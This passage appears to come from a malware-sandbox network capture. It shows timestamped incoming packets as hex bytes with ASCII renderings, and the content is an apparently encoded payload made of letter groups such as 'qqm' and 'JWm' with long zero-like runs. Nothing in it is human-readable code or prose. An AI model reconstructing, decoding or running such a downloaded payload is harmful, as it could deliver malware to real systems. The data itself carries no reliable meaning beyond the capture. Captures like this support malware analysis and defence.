2021-10-29 18:29:04 UTC	188	IN	Data Raw: 70 20 71 58 44 20 4a 20 58 57 20 71 71 6d 20 70 44 20 71 4f 6d 20 4a 6d 45 20 4a 71 20 44 58 20 44 70 20 71 4f 70 20 58 71 20 71 45 44 20 58 4a 20 4a 57 20 71 4a 57 20 71 4f 45 20 57 70 20 70 4d 20 71 6d 20 6d 57 20 71 4a 45 20 44 4f 20 71 71 71 20 71 58 20 71 71 6d 20 71 45 44 20 44 70 20 71 4a 45 20 58 44 20 4a 6d 6d 20 57 70 20 4a 70 45 20 71 4a 57 20 71 4a 70 20 57 4f 20 44 57 20 71 71 58 20 4a 71 4a 20 71 4a 45 20 44 4f 20 71 71 71 20 70 6d 20 71 71 6d 20 71 45 44 20 44 70 20 71 4f 70 20 58 71 20 4a 71 44 20 71 4f 44 20 4a 70 6d 20 71 4a 57 20 4d 71 20 57 70 20 71 58 44 20 4a 20 58 57 20 71 71 6d 20 4a 58 20 71 4f 6d 20 45 4a 20 4a 6d 20 57 70 20 57 4f 20 4d 57 20 58 71 20 71 4f 6d 20 4d 57 20 71 4f 6d 20 71 71 4a 20 4d 71 20 57 70 20 4a 44 20 6d 57 Data Ascii: p qXD J XW qqm pD qOm JmE Jq DX Dp qOp Xq qED XJ JW qJW qOE Wp pM qm mW qJE DO qqq qX qqm qED Dp qJE XD Jmm Wp JpE qJW qJp WO DW qqX JqJ qJE DO qqq pm qqm qED Dp qOp Xq JqD qOD Jpm qJW Mq Wp qXD J XW qqm JX qOm EJ Jm Wp WO MW Xq qOm MW qOm qqJ Mq Wp JD mW
2021-10-29 18:29:04 UTC	191	IN	Data Raw: 71 4d 70 20 71 71 45 20 70 57 20 71 4f 44 20 71 57 57 20 57 4a 20 71 4a 4d 20 57 6d 20 71 4f 20 71 4f 6d 20 71 58 58 20 71 4f 57 20 71 4d 57 20 57 4f 20 71 6d 20 6d 4f 20 4a 4a 70 20 58 4f 20 71 4d 70 20 71 71 45 20 70 57 20 71 4f 44 20 6d 4d 20 57 70 20 71 6d 57 20 57 6d 20 45 44 20 71 71 4f 20 71 4a 6d 20 71 4f 6d 20 71 4d 57 20 57 4f 20 71 71 4f 20 6d 4f 20 70 71 20 58 71 20 71 4d 70 20 71 71 45 20 70 20 71 4f 44 20 71 71 57 20 57 70 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 57 6d 20 71 4f 6d 20 4a 71 71 20 57 4f 20 71 71 4a 20 6d 44 20 71 4a 45 20 58 71 20 71 4d 70 20 71 71 45 20 71 4d 20 71 4f 44 20 58 70 20 57 70 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 4a 58 20 71 4f 6d 20 71 4d 57 20 57 4f 20 71 4d 4f 20 6d 4f 20 71 58 70 20 58 71 20 Data Ascii: qMp qqE pW qOD qWW WJ qJM Wm qO qOm qXX qOW qMW WO qm mO JJp XO qMp qqE pW qOD mM Wp qmW Wm ED qqO qJm qOm qMW WO qqO mO pq Xq qMp qqE p qOD qqW Wp qqp Wm qDJ qJW Wm qOm Jqq WO qqJ mD qJE Xq qMp qqE qM qOD Xp Wp qqp Wm qDJ qJW JX qOm qMW WO qMO mO qXp Xq
2021-10-29 18:29:04 UTC	196	IN	Data Raw: 20 71 4a 45 20 57 4f 20 6d 71 20 57 45 20 57 6d 20 71 44 4a 20 71 4a 57 20 58 57 20 71 71 44 20 71 4a 70 20 57 4f 20 71 4d 58 20 44 71 20 71 71 58 20 45 45 20 71 4a 71 20 71 71 45 20 71 57 57 20 71 4a 45 20 58 4a 20 6d 71 20 57 45 20 57 6d 20 71 44 4a 20 71 4a 57 20 4a 6d 57 20 71 71 44 20 71 4a 70 20 57 4f 20 71 4d 58 20 44 71 20 4a 6d 44 20 45 45 20 71 4a 71 20 71 71 45 20 71 57 57 20 71 4a 45 20 4a 71 4f 20 6d 71 20 57 45 20 57 6d 20 71 44 4a 20 71 4a 57 20 71 6d 4d 20 71 71 70 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 71 57 4f 20 45 70 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 4a 6d 4a 20 6d 57 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 71 6d 4d 20 71 71 4a 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 57 6d 20 45 6d 20 6d 4d 20 71 71 45 20 71 Data Ascii: qJE WO mq WE Wm qDJ qJW XW qqD qJp WO qMX Dq qqX EE qJq qqE qWW qJE XJ mq WE Wm qDJ qJW JmW qqD qJp WO qMX Dq JmD EE qJq qqE qWW qJE JqO mq WE Wm qDJ qJW qmM qqp Wq WO qMX Dq qWO Ep mM qqE qWW qJE JmJ mW qqp Wm qDJ qJW qmM qqJ Wq WO qMX Dq Wm Em mM qqE q
2021-10-29 18:29:04 UTC	200	IN	Data Raw: 4f 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 57 6d 20 71 4f 58 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 71 58 20 58 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 57 70 20 58 57 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 58 44 20 71 4f 58 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 71 45 58 20 58 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 4a 71 70 20 58 57 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 4a 6d 44 20 71 4f 58 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 4a 71 4f 20 58 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 71 71 45 20 58 6d 20 57 71 20 57 4f 20 71 4d 58 20 44 71 20 4a 4a 20 71 4f 4d 20 6d 4d 20 71 71 45 20 71 57 57 20 71 4a 45 20 71 71 6d 20 4d 20 71 71 70 20 57 6d 20 71 44 4a 20 71 4a 57 20 4a 71 20 58 6d 20 57 71 20 Data Ascii: O Wq WO qMX Dq Wm qOX mM qqE qWW qJE qX X qqp Wm qDJ qJW Wp XW Wq WO qMX Dq XD qOX mM qqE qWW qJE qEX X qqp Wm qDJ qJW Jqp XW Wq WO qMX Dq JmD qOX mM qqE qWW qJE JqO X qqp Wm qDJ qJW qqE Xm Wq WO qMX Dq JJ qOM mM qqE qWW qJE qqm M qqp Wm qDJ qJW Jq Xm Wq
2021-10-29 18:29:04 UTC	204	IN	Data Raw: 71 20 58 4f 20 58 71 20 71 4f 58 20 71 4f 4d 20 71 71 4a 20 4a 70 44 20 57 6d 20 71 45 20 6d 45 20 58 6d 20 71 71 6d 20 71 58 4f 20 71 4f 71 20 58 70 20 6d 70 20 6d 58 20 57 4f 20 71 4a 44 20 4d 57 20 58 71 20 71 4f 58 20 71 4f 4d 20 71 71 4a 20 4a 71 57 20 44 4f 20 71 45 20 6d 45 20 58 6d 20 71 71 6d 20 57 4f 20 4d 4d 20 58 70 20 6d 70 20 6d 58 20 57 4f 20 71 71 70 20 4d 71 20 4a 4a 71 20 71 4f 58 20 71 4f 4d 20 71 71 4a 20 71 4f 45 20 70 70 20 71 45 20 6d 45 20 58 6d 20 71 71 6d 20 71 44 4f 20 71 4a 6d 20 58 70 20 6d 70 20 6d 58 20 57 4f 20 4a 4d 20 58 6d 20 58 71 20 71 4f 58 20 71 4f 4d 20 71 71 4a 20 4a 71 20 57 71 20 71 45 20 6d 45 20 58 6d 20 71 71 6d 20 71 44 4f 20 71 4f 57 20 4a 71 4a 20 6d 70 20 6d 58 20 57 4f 20 71 57 20 58 70 20 58 71 20 71 4f Data Ascii: q XO Xq qOX qOM qqJ JpD Wm qE mE Xm qqm qXO qOq Xp mp mX WO qJD MW Xq qOX qOM qqJ JqW DO qE mE Xm qqm WO MM Xp mp mX WO qqp Mq JJq qOX qOM qqJ qOE pp qE mE Xm qqm qDO qJm Xp mp mX WO JM Xm Xq qOX qOM qqJ Jq Wq qE mE Xm qqm qDO qOW JqJ mp mX WO qW Xp Xq qO
2021-10-29 18:29:04 UTC	208	IN	Data Raw: 6d 20 6d 4d 20 4a 6d 70 20 57 6d 20 58 57 20 71 71 6d 20 71 58 6d 20 71 4f 58 20 71 45 45 20 57 4f 20 57 4f 20 57 4f 20 4a 6d 58 20 58 57 20 71 45 45 20 71 71 45 20 71 4f 58 20 71 71 4a 20 4a 57 70 20 6d 4d 20 4a 6d 71 20 57 6d 20 58 44 20 71 71 6d 20 71 44 6d 20 71 4f 58 20 71 58 71 20 57 4f 20 6d 4d 20 57 4f 20 4a 4a 58 20 58 57 20 71 58 70 20 71 71 45 20 71 71 71 20 71 71 4a 20 44 71 20 57 4f 20 4a 6d 57 20 57 6d 20 58 44 20 71 71 6d 20 71 4f 4f 20 71 71 71 20 71 58 57 20 57 4f 20 57 6d 20 57 4f 20 70 4f 20 58 6d 20 4d 45 20 71 71 45 20 57 4d 20 71 71 4a 20 6d 4f 20 57 4a 20 70 45 20 57 6d 20 4a 20 71 71 6d 20 71 4f 57 20 71 4f 57 20 71 4f 57 20 57 4f 20 71 4f 4a 20 57 4f 20 6d 4f 20 58 4f 20 71 4f 57 20 71 71 45 20 57 4d 20 71 71 4a 20 71 58 20 57 4a Data Ascii: m mM Jmp Wm XW qqm qXm qOX qEE WO WO WO JmX XW qEE qqE qOX qqJ JWp mM Jmq Wm XD qqm qDm qOX qXq WO mM WO JJX XW qXp qqE qqq qqJ Dq WO JmW Wm XD qqm qOO qqq qXW WO Wm WO pO Xm ME qqE WM qqJ mO WJ pE Wm J qqm qOW qOW qOW WO qOJ WO mO XO qOW qqE WM qqJ qX WJ
2021-10-29 18:29:04 UTC	212	IN	Data Raw: 71 4a 20 58 4a 20 6d 58 20 71 71 4d 20 57 6d 20 57 70 20 71 71 6d 20 6d 58 20 71 4f 4d 20 71 58 20 57 4f 20 71 71 45 20 57 4f 20 58 57 20 58 6d 20 57 57 20 71 71 45 20 4d 20 71 71 4a 20 71 71 4d 20 6d 58 20 58 45 20 57 6d 20 71 45 20 71 71 6d 20 71 4d 20 71 4f 4d 20 57 70 20 57 4f 20 58 45 20 57 4f 20 71 71 57 20 58 6d 20 4a 44 20 71 71 45 20 6d 4f 20 71 71 4a 20 4d 71 20 6d 58 20 71 71 4d 20 57 6d 20 44 4a 20 71 71 6d 20 6d 58 20 71 4f 4d 20 4a 45 20 57 4f 20 71 71 45 20 57 4f 20 4d 4f 20 58 6d 20 57 57 20 71 71 45 20 4f 20 71 71 4a 20 71 71 4d 20 6d 58 20 4d 4a 20 57 6d 20 71 45 20 71 71 6d 20 4a 44 20 71 4f 4d 20 57 70 20 57 4f 20 44 6d 20 57 4f 20 71 71 57 20 58 6d 20 70 20 71 71 45 20 6d 4f 20 71 71 4a 20 44 6d 20 6d 58 20 71 71 4d 20 57 6d 20 70 4d Data Ascii: qJ XJ mX qqM Wm Wp qqm mX qOM qX WO qqE WO XW Xm WW qqE M qqJ qqM mX XE Wm qE qqm qM qOM Wp WO XE WO qqW Xm JD qqE mO qqJ Mq mX qqM Wm DJ qqm mX qOM JE WO qqE WO MO Xm WW qqE O qqJ qqM mX MJ Wm qE qqm JD qOM Wp WO Dm WO qqW Xm p qqE mO qqJ Dm mX qqM Wm pM
2021-10-29 18:29:04 UTC	223	IN	Data Raw: 20 4d 45 20 44 58 20 58 70 20 44 44 20 44 71 20 71 45 20 57 4a 20 70 71 20 4a 20 58 70 20 45 70 20 71 4a 70 20 58 58 20 44 71 20 44 20 70 70 20 4a 4f 20 4f 20 58 45 20 4d 4d 20 4d 71 20 45 44 20 6d 4d 20 45 4d 20 44 58 20 4d 71 20 71 71 4a 20 58 57 20 58 57 20 45 4f 20 71 4f 57 20 4a 4d 20 4a 4a 20 44 58 20 4d 71 20 71 71 4a 20 44 57 20 58 57 20 45 4f 20 71 4f 57 20 4a 4d 20 4a 4a 20 44 58 20 4d 71 20 71 71 4a 20 71 71 4d 20 4d 6d 20 45 4f 20 4d 57 20 70 4a 20 71 71 20 44 58 20 4d 71 20 71 71 4a 20 44 20 71 20 4a 20 71 71 6d 20 4d 45 20 45 71 20 44 58 20 6d 45 20 57 6d 20 71 71 20 71 71 44 20 71 71 70 20 45 20 71 58 20 44 44 20 57 6d 20 6d 70 20 44 44 20 6d 20 4a 20 71 71 4d 20 4a 20 71 44 20 6d 58 20 44 58 20 4d 70 20 45 71 20 57 20 45 20 71 71 20 70 20 Data Ascii: ME DX Xp DD Dq qE WJ pq J Xp Ep qJp XX Dq D pp JO O XE MM Mq ED mM EM DX Mq qqJ XW XW EO qOW JM JJ DX Mq qqJ DW XW EO qOW JM JJ DX Mq qqJ qqM Mm EO MW pJ qq DX Mq qqJ D q J qqm ME Eq DX mE Wm qq qqD qqp E qX DD Wm mp DD m J qqM J qD mX DX Mp Eq W E qq p
2021-10-29 18:29:04 UTC	228	IN	Data Raw: 6d 58 20 6d 6d 20 57 6d 20 6d 20 71 20 70 20 44 20 4a 71 20 44 44 20 44 58 20 58 6d 20 44 44 20 4f 20 71 71 6d 20 57 4f 20 71 71 6d 20 71 58 20 44 6d 20 57 57 20 6d 71 20 57 71 20 71 20 4d 20 57 20 70 20 71 44 20 6d 4d 20 45 71 20 58 58 20 57 4f 20 71 71 44 20 71 71 70 20 71 71 44 20 71 71 4a 20 4a 71 20 45 4f 20 45 44 20 4d 4f 20 45 4f 20 71 71 4d 20 4d 20 71 71 70 20 71 71 6d 20 71 4f 71 20 57 57 20 45 4f 20 58 57 20 6d 4d 20 71 71 57 20 71 71 44 20 71 71 44 20 4a 20 4d 58 20 44 57 20 57 57 20 71 4f 4d 20 45 70 20 71 71 58 20 4d 20 71 71 57 20 71 71 4a 20 71 4f 70 20 57 71 20 6d 58 20 4d 4a 20 44 57 20 71 71 57 20 57 20 71 4f 20 71 71 6d 20 4d 45 20 45 71 20 6d 58 20 6d 45 20 45 4a 20 71 71 57 20 44 20 71 71 57 20 71 71 57 20 4a 70 20 45 6d 20 57 71 20 Data Ascii: mX mm Wm m q p D Jq DD DX Xm DD O qqm WO qqm qX Dm WW mq Wq q M W p qD mM Eq XX WO qqD qqp qqD qqJ Jq EO ED MO EO qqM M qqp qqm qOq WW EO XW mM qqW qqD qqD J MX DW WW qOM Ep qqX M qqW qqJ qOp Wq mX MJ DW qqW W qO qqm ME Eq mX mE EJ qqW D qqW qqW Jp Em Wq
2021-10-29 18:29:04 UTC	244	IN	Data Raw: 45 20 57 4f 20 71 71 45 20 57 4d 20 4a 58 20 70 20 58 20 4a 20 45 4f 20 71 4f 4f 20 4d 70 20 4d 4d 20 4a 6d 20 4a 4d 20 4a 45 20 71 4f 20 71 71 4a 20 4d 6d 20 4d 57 20 58 57 20 57 6d 20 70 4d 20 71 45 20 4a 4f 20 70 20 70 4f 20 58 45 20 44 44 20 71 71 57 20 44 58 20 57 71 20 71 71 6d 20 70 58 20 58 20 71 45 20 44 6d 20 58 70 20 4d 4f 20 57 6d 20 4a 57 20 71 4d 20 71 20 71 6d 20 4a 6d 20 57 4f 20 71 71 4d 20 58 45 20 44 44 20 4a 57 20 4a 4a 20 44 6d 20 70 45 20 71 45 20 44 57 20 58 58 20 57 4f 20 71 71 45 20 57 4d 20 70 71 20 57 20 4a 6d 20 6d 20 58 45 20 71 4a 4f 20 58 70 20 44 4d 20 44 4f 20 71 71 6d 20 57 44 20 71 4a 20 6d 20 4d 4f 20 6d 58 20 44 44 20 44 58 20 57 4d 20 4a 4f 20 4a 58 20 71 20 4a 71 20 4d 58 20 58 71 20 45 4f 20 4d 6d 20 58 6d 20 57 70 Data Ascii: E WO qqE WM JX p X J EO qOO Mp MM Jm JM JE qO qqJ Mm MW XW Wm pM qE JO p pO XE DD qqW DX Wq qqm pX X qE Dm Xp MO Wm JW qM q qm Jm WO qqM XE DD JW JJ Dm pE qE DW XX WO qqE WM pq W Jm m XE qJO Xp DM DO qqm WD qJ m MO mX DD DX WM JO JX q Jq MX Xq EO Mm Xm Wp
2021-10-29 18:29:04 UTC	255	IN	Data Raw: 4a 20 4a 4d 20 4a 4f 20 4d 6d 20 71 4f 44 20 57 20 4a 20 71 57 20 4a 70 20 4a 70 20 45 20 4a 57 20 4a 57 20 58 6d 20 58 4d 20 58 71 20 58 45 20 70 4a 20 4a 70 20 44 20 71 4f 4d 20 70 6d 20 58 45 20 4d 4a 20 58 45 20 58 45 20 70 4d 20 4a 70 20 70 4a 20 4a 4d 20 4a 4f 20 58 70 20 44 58 20 58 45 20 44 4d 20 58 6d 20 70 70 20 71 20 70 71 20 4a 57 20 44 44 20 4d 45 20 45 71 20 58 4d 20 70 4a 20 4a 70 20 44 20 71 4f 4d 20 57 6d 20 44 6d 20 4d 57 20 4d 57 20 71 4a 70 20 44 71 20 4a 58 20 4f 20 4a 57 20 4a 71 20 44 57 20 6d 58 20 71 4f 4d 20 58 4f 20 44 71 20 70 4f 20 71 44 20 6d 45 20 4d 20 45 4f 20 58 57 20 44 57 20 57 6d 20 70 20 4f 20 4a 58 20 4a 57 20 4a 71 20 71 71 57 20 4d 4a 20 4d 6d 20 71 71 44 20 6d 57 20 44 20 71 44 20 70 4f 20 71 71 4a 20 71 71 70 20 Data Ascii: J JM JO Mm qOD W J qW Jp Jp E JW JW Xm XM Xq XE pJ Jp D qOM pm XE MJ XE XE pM Jp pJ JM JO Xp DX XE DM Xm pp q pq JW DD ME Eq XM pJ Jp D qOM Wm Dm MW MW qJp Dq JX O JW Jq DW mX qOM XO Dq pO qD mE M EO XW DW Wm p O JX JW Jq qqW MJ Mm qqD mW D qD pO qqJ qqp
2021-10-29 18:29:04 UTC	271	IN	Data Raw: 44 58 20 71 4f 4d 20 71 71 4a 20 6d 4d 20 45 44 20 57 4f 20 57 6d 20 4d 71 20 70 4d 20 71 71 45 20 70 57 20 71 71 4a 20 71 4a 71 20 6d 58 20 71 4a 6d 20 57 6d 20 70 20 71 71 6d 20 57 58 20 71 4f 4d 20 44 4a 20 57 4f 20 6d 58 20 71 71 57 20 71 71 45 20 58 6d 20 4a 45 20 71 71 45 20 6d 4f 20 71 71 4a 20 4f 20 6d 58 20 71 71 4a 20 57 6d 20 6d 57 20 71 71 6d 20 4a 44 20 71 4f 4d 20 70 4f 20 57 4f 20 71 4f 4a 20 57 4f 20 71 4f 4f 20 58 6d 20 70 4d 20 71 71 45 20 70 4d 20 71 71 4a 20 71 4a 4f 20 6d 58 20 4d 6d 20 57 6d 20 57 57 20 71 71 6d 20 44 4a 20 71 4f 4d 20 57 4d 20 57 4f 20 45 6d 20 57 4f 20 71 71 4d 20 58 6d 20 57 45 20 71 71 45 20 57 58 20 71 71 4a 20 58 57 20 6d 58 20 58 4d 20 57 6d 20 6d 6d 20 71 71 6d 20 44 4f 20 71 4f 4d 20 4a 45 20 57 4f 20 71 4f Data Ascii: DX qOM qqJ mM ED WO Wm Mq pM qqE pW qqJ qJq mX qJm Wm p qqm WX qOM DJ WO mX qqW qqE Xm JE qqE mO qqJ O mX qqJ Wm mW qqm JD qOM pO WO qOJ WO qOO Xm pM qqE pM qqJ qJO mX Mm Wm WW qqm DJ qOM WM WO Em WO qqM Xm WE qqE WX qqJ XW mX XM Wm mm qqm DO qOM JE WO qO
2021-10-29 18:29:04 UTC	287	IN	Data Raw: 4f 71 20 71 4f 58 20 71 71 70 20 70 4d 20 70 6d 20 70 71 20 57 57 20 45 6d 20 71 71 6d 20 4d 44 20 71 4a 45 20 4a 6d 4f 20 71 57 71 20 6d 4d 20 6d 6d 20 57 6d 20 4d 70 20 71 71 45 20 71 71 44 20 71 4a 4f 20 4d 58 20 70 71 20 6d 4d 20 70 4a 20 71 58 70 20 58 6d 20 71 4a 70 20 71 71 6d 20 71 4f 58 20 71 4f 71 20 70 4a 20 4a 4d 20 57 71 20 70 44 20 4a 71 4a 20 71 58 44 20 71 4a 44 20 71 4f 44 20 71 71 6d 20 70 4a 20 71 4f 4f 20 70 4d 20 70 44 20 71 4a 71 20 71 71 57 20 71 4f 70 20 4a 70 44 20 71 71 4a 20 57 57 20 57 58 20 57 71 20 70 44 20 4a 71 70 20 71 71 6d 20 71 71 4a 20 71 4f 44 20 71 71 70 20 70 4a 20 71 45 45 20 71 4a 44 20 71 4d 20 58 70 20 71 4a 4a 20 4d 44 20 71 4a 45 20 4d 70 20 57 71 20 70 6d 20 71 45 4d 20 57 6d 20 44 57 20 4d 44 20 44 6d 20 71 Data Ascii: Oq qOX qqp pM pm pq WW Em qqm MD qJE JmO qWq mM mm Wm Mp qqE qqD qJO MX pq mM pJ qXp Xm qJp qqm qOX qOq pJ JM Wq pD JqJ qXD qJD qOD qqm pJ qOO pM pD qJq qqW qOp JpD qqJ WW WX Wq pD Jqp qqm qqJ qOD qqp pJ qEE qJD qM Xp qJJ MD qJE Mp Wq pm qEM Wm DW MD Dm q
2021-10-29 18:29:04 UTC	303	IN	Data Raw: 58 20 71 45 58 20 71 6d 4d 20 57 71 20 70 44 20 4a 71 4a 20 4a 71 58 20 71 4a 6d 20 44 4d 20 71 71 4a 20 70 4d 20 70 6d 20 70 20 57 57 20 45 4f 20 4a 6d 4a 20 71 44 71 20 71 4f 4f 20 58 58 20 57 4f 20 70 45 20 70 4a 20 45 20 58 57 20 4d 44 20 4a 6d 57 20 71 44 4d 20 71 4a 71 20 4a 44 20 6d 58 20 70 4d 20 70 44 20 71 4f 71 20 71 71 57 20 71 4f 70 20 4a 70 45 20 71 44 4f 20 57 4d 20 4a 6d 20 57 4f 20 70 57 20 45 4f 20 44 45 20 71 71 44 20 71 4a 45 20 4a 6d 4f 20 4a 57 6d 20 57 71 20 4a 44 20 57 6d 20 4d 6d 20 71 4a 70 20 4d 70 20 71 4f 4d 20 71 4f 71 20 70 4a 20 4a 4d 20 57 71 20 70 44 20 4a 71 4a 20 71 4d 6d 20 71 4a 6d 20 44 4d 20 71 71 4a 20 70 4d 20 70 6d 20 70 71 20 57 57 20 45 4f 20 4a 6d 4a 20 71 6d 71 20 71 4f 4f 20 58 58 20 57 4f 20 70 45 20 70 4a Data Ascii: X qEX qmM Wq pD JqJ JqX qJm DM qqJ pM pm p WW EO JmJ qDq qOO XX WO pE pJ E XW MD JmW qDM qJq JD mX pM pD qOq qqW qOp JpE qDO WM Jm WO pW EO DE qqD qJE JmO JWm Wq JD Wm Mm qJp Mp qOM qOq pJ JM Wq pD JqJ qMm qJm DM qqJ pM pm pq WW EO JmJ qmq qOO XX WO pE pJ
2021-10-29 18:29:04 UTC	319	IN	Data Raw: 4d 20 57 6d 20 57 4f 20 45 6d 20 57 4f 20 71 4f 58 20 58 6d 20 70 57 20 71 71 45 20 4a 4d 20 71 71 4a 20 4d 57 20 6d 58 20 58 70 20 57 6d 20 71 4d 20 71 71 6d 20 44 70 20 71 4f 4d 20 44 20 57 4f 20 58 71 20 57 4f 20 71 71 70 20 58 6d 20 70 4f 20 71 71 45 20 4a 57 20 71 71 4a 20 71 4f 45 20 6d 58 20 71 4f 71 20 57 6d 20 4a 20 71 71 6d 20 44 20 71 4f 4d 20 6d 71 20 57 4f 20 4d 70 20 57 4f 20 71 57 20 58 6d 20 4a 4d 20 71 71 45 20 71 6d 20 71 71 4a 20 71 71 45 20 6d 58 20 44 44 20 57 6d 20 44 71 20 71 71 6d 20 6d 6d 20 71 4f 4d 20 4a 4d 20 57 4f 20 45 4a 20 57 4f 20 4d 70 20 58 6d 20 6d 70 20 71 71 45 20 4d 57 20 71 71 4a 20 45 20 6d 58 20 4d 4a 20 57 6d 20 71 70 20 71 71 6d 20 45 71 20 71 4f 4d 20 44 4d 20 57 4f 20 58 58 20 57 4f 20 58 57 20 58 6d 20 57 70 Data Ascii: M Wm WO Em WO qOX Xm pW qqE JM qqJ MW mX Xp Wm qM qqm Dp qOM D WO Xq WO qqp Xm pO qqE JW qqJ qOE mX qOq Wm J qqm D qOM mq WO Mp WO qW Xm JM qqE qm qqJ qqE mX DD Wm Dq qqm mm qOM JM WO EJ WO Mp Xm mp qqE MW qqJ E mX MJ Wm qp qqm Eq qOM DM WO XX WO XW Xm Wp
2021-10-29 18:29:04 UTC	335	IN	Data Raw: 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f Data Ascii: qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WO
2021-10-29 18:29:04 UTC	351	IN	Data Raw: 71 6d 20 4a 20 4f 20 6d 4f 20 45 20 4f 20 4f 20 44 20 4f 20 4f 20 4f 20 4f 20 4f 20 70 4a 20 45 4f 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 20 4f 20 4a 57 6d 20 71 4a 20 70 20 4f 20 4a 57 6d 20 71 6d 20 4a 57 20 4f 20 4a 57 6d 20 71 4a 20 4a 57 20 4f 20 57 45 20 71 44 58 20 4f 20 4f 20 4f 20 70 4a 20 45 71 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 20 4f 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 44 20 4f 20 70 4a 20 45 4a 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 20 4f 20 70 4a 20 71 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 45 20 4f 20 70 4a 20 45 70 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 6d 20 4a 20 4f 20 4a 57 6d 20 71 4a 20 58 20 4f 20 4a 57 6d 20 71 4a 20 4d 20 4f 20 6d 4f 20 71 4a 20 4f 20 4f 20 44 20 4a 57 6d 20 71 6d 20 Data Ascii: qm J O mO E O O D O O O O O pJ EO O O O JWm qm J O JWm qJ p O JWm qm JW O JWm qJ JW O WE qDX O O O pJ Eq O O O JWm qm J O pJ O O O O JWm qm JD O pJ EJ O O O JWm qm J O pJ q O O O JWm qm JE O pJ Ep O O O JWm qm J O JWm qJ X O JWm qJ M O mO qJ O O D JWm qm
2021-10-29 18:29:04 UTC	367	IN	Data Raw: 4f 20 4f 20 4f 20 4f 20 4f 20 4f 20 71 4f 44 20 4a 57 6d 20 4a 57 57 20 4a 57 57 20 4a 4a 71 20 6d 4d 20 4f 20 4f 20 4f 20 71 71 45 20 70 4a 20 4f 20 4f 20 71 20 4a 4f 20 4a 57 6d 20 70 20 4a 57 6d 20 71 4a 20 71 20 4f 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 4a 57 6d 20 70 20 4d 57 20 4a 57 6d 20 71 4a 20 4a 20 4f 20 70 4a 20 4f 20 4f 20 4f 20 4f 20 4a 57 6d 20 71 20 4d 57 20 4a 57 6d 20 71 45 20 71 71 44 20 70 4a 20 4f 20 4f 20 71 20 6d 4f 20 4d 20 4f 20 4f 20 71 4f 20 4a 4a 71 20 71 57 70 20 4a 57 57 20 4a 57 57 20 4a 57 57 20 70 4a 20 57 71 20 4f 20 71 4f 20 71 4a 58 20 6d 4f 20 71 4f 20 4f 20 4f 20 71 4f 20 71 4a 4a 20 4a 57 6d 20 71 4a 20 4a 20 4f 20 57 45 20 44 20 4f 20 4f 20 4f 20 6d 4f 20 45 20 4f 20 4f 20 71 4f 20 4f 20 4a 57 6d 20 71 4a 20 4f 20 4f Data Ascii: O O O O O O qOD JWm JWW JWW JJq mM O O O qqE pJ O O q JO JWm p JWm qJ q O pJ O O O O JWm p MW JWm qJ J O pJ O O O O JWm q MW JWm qE qqD pJ O O q mO M O O qO JJq qWp JWW JWW JWW pJ Wq O qO qJX mO qO O O qO qJJ JWm qJ J O WE D O O O mO E O O qO O JWm qJ O O
